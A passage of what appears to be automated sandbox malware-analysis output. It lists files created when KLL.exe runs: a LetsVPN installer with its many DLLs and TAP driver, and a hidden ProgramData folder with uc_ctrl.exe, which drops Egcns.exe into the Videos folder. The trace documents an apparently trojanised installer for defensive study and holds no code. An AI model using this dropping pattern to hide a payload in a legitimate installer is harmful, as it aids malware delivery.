Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Drawing.Primitives.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Process.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.ReaderWriter.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Text.Encoding.Extensions.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Linq.Expressions.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\DeltaCompressionDotNet.MsDelta.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\it\System.Web.Services.Description.resources.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Data.Odbc.dll	Jump to dropped file
Source: C:\Windows\System32\drvinst.exe	File created: C:\Windows\System32\DriverStore\Temp\{8c9994a9-d414-3f4e-8918-cdf319aba055}\tap0901.sys (copy)	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\de\System.Web.Services.Description.resources.dll	Jump to dropped file
Source: C:\Users\user\Desktop\KLL.exe	File created: C:\ProgramData\8R96N\35Hrm~m8\s	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\ru\System.Web.Services.Description.resources.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Collections.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.Primitives.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.IPNetwork.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\x64\WebView2Loader.dll	Jump to dropped file
Source: C:\Windows\System32\drvinst.exe	File created: C:\Windows\System32\DriverStore\Temp\{8c9994a9-d414-3f4e-8918-cdf319aba055}\SET7B44.tmp	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Linq.Parallel.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceProcess.ServiceController.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Compression.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.IsolatedStorage.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\tr\System.Web.Services.Description.resources.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\ja\System.Web.Services.Description.resources.dll	Jump to dropped file
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	File created: C:\Users\user\Videos\57B1EA86~m8\Egcns.exe	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Data.Common.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.FileSystem.AccessControl.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Pkcs.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Timer.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\pt-BR\System.Web.Services.Description.resources.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Text.RegularExpressions.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.UnmanagedMemoryStream.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.FileSystem.Primitives.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Web.WebView2.WinForms.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Win32.Primitives.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Web.WebView2.Wpf.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\arm64\WebView2Loader.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.Security.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.FileVersionInfo.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Packaging.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.XPath.XDocument.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Serialization.Json.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.SecureString.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.StackTrace.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\ru\LetsPRO.resources.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\DeltaCompressionDotNet.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Extensions.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.XmlDocument.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\fr\System.Web.Services.Description.resources.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Security.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Console.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\WebSocket4Net.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.Rocks.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.TraceSource.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\Squirrel.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Resources.Writer.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\netstandard.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Collections.Concurrent.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.EventLog.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Handles.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ObjectModel.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Users\user\AppData\Local\Temp\nso2FF1.tmp\nsExec.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Win32.Registry.AccessControl.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.ProtectedData.dll	Jump to dropped file
Source: C:\Users\user\Desktop\KLL.exe	File created: C:\ProgramData\8R96N\35Hrm~m8\msvcp140.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLiteNetExtensionsAsync.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.Primitives.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Web.Services.Description.dll	Jump to dropped file
Source: C:\Windows\System32\drvinst.exe	File created: C:\Windows\System32\drivers\tap0901.sys (copy)	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\ICSharpCode.AvalonEdit.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.AccessControl.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Tasks.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Resources.Reader.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Csp.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Windows.Interactivity.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.EventBasedAsync.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\runtimes\win-x64\native\e_sqlite3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\KLL.exe	File created: C:\ProgramData\letsvpn-latest.exe	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.Annotations.dll	Jump to dropped file
Source: C:\Users\user\Desktop\KLL.exe	File created: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Http.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\zh-Hans\System.Web.Services.Description.resources.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.AppCenter.Crashes.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\cs\System.Web.Services.Description.resources.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\ndp462-web.exe	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\PusherClient.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsVPNDomainModel.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Ping.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Principal.Windows.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ValueTuple.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.XDocument.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Drawing.Common.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Users\user\AppData\Local\Temp\nso2FF1.tmp\nsDialogs.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\Utils.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Bcl.AsyncInterfaces.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Compression.ZipFile.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.FileSystem.Watcher.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.XPath.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\runtimes\win-x86\native\e_sqlite3.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\zh-TW\LetsPRO.resources.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Encoding.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\x86\WebView2Loader.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\es\System.Web.Services.Description.resources.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Globalization.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Globalization.Extensions.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Tasks.Parallel.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Numerics.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\log4net.dll	Jump to dropped file
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	File created: C:\Users\user\AppData\Local\Temp\{abc90244-27e4-214f-aab8-9d117657614d}\tap0901.sys (copy)	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\Update.exe	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.AppContext.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\zh-SG\LetsPRO.resources.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Ports.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Globalization.Calendars.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\microsoft.identitymodel.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\WindowsInput.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Primitives.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Cng.dll	Jump to dropped file
Source: C:\Windows\System32\drvinst.exe	File created: C:\Windows\System32\drivers\SET81E9.tmp	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.CompilerServices.Unsafe.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Win32.SystemEvents.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.X509Certificates.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Sockets.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Permissions.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.CodeDom.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.InteropServices.RuntimeInformation.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Data.SqlClient.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Memory.dll	Jump to dropped file
Source: C:\Windows\System32\cmd.exe	File created: C:\ProgramData\8R96N\35Hrm~m8\uc_guilib.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Contracts.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\uninst.exe	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\NuGet.Squirrel.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\pl\System.Web.Services.Description.resources.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.WebHeaderCollection.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Tracing.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Reflection.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Serialization.Xml.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.Duplex.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.FileSystem.DriveInfo.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\ko\System.Web.Services.Description.resources.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Linq.Queryable.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.CompilerServices.VisualC.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.XmlSerializer.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.TextWriterTraceListener.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.NameResolution.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Resources.ResourceManager.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Data.OleDb.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Overlapped.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.core.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsVPNInfraStructure.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.Pdb.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Requests.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\ToastNotifications.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\zh-CN\LetsPRO.resources.dll	Jump to dropped file
Source: C:\Users\user\Desktop\KLL.exe	File created: C:\ProgramData\8R96N\35Hrm~m8\vcruntime140.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Text.Encoding.CodePages.dll	Jump to dropped file
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	File created: C:\Users\user\Videos\57B1EA86~m8\msvcp140.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.Mdb.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLite-net.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\SharpCompress.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.NetworkInformation.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.TypeConverter.dll	Jump to dropped file
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	File created: C:\Users\user\AppData\Local\Temp\{abc90244-27e4-214f-aab8-9d117657614d}\SET7911.tmp	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Serialization.Primitives.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\FontAwesome.WPF.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Configuration.ConfigurationManager.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.PerformanceCounter.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\driver\tap0901.sys	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Numerics.Vectors.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.Http.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Collections.NonGeneric.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\ToastNotifications.Messages.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Tools.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\zh-Hant\System.Web.Services.Description.resources.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.WebSockets.Client.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.provider.dynamic_cdecl.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.ThreadPool.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Debug.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Principal.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\zh-HK\LetsPRO.resources.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Dynamic.Runtime.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Claims.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Expression.Interactions.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Algorithms.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Users\user\AppData\Local\Temp\nso2FF1.tmp\System.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\DeltaCompressionDotNet.PatchApi.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Primitives.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\zh-MO\LetsPRO.resources.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Reflection.Primitives.dll	Jump to dropped file
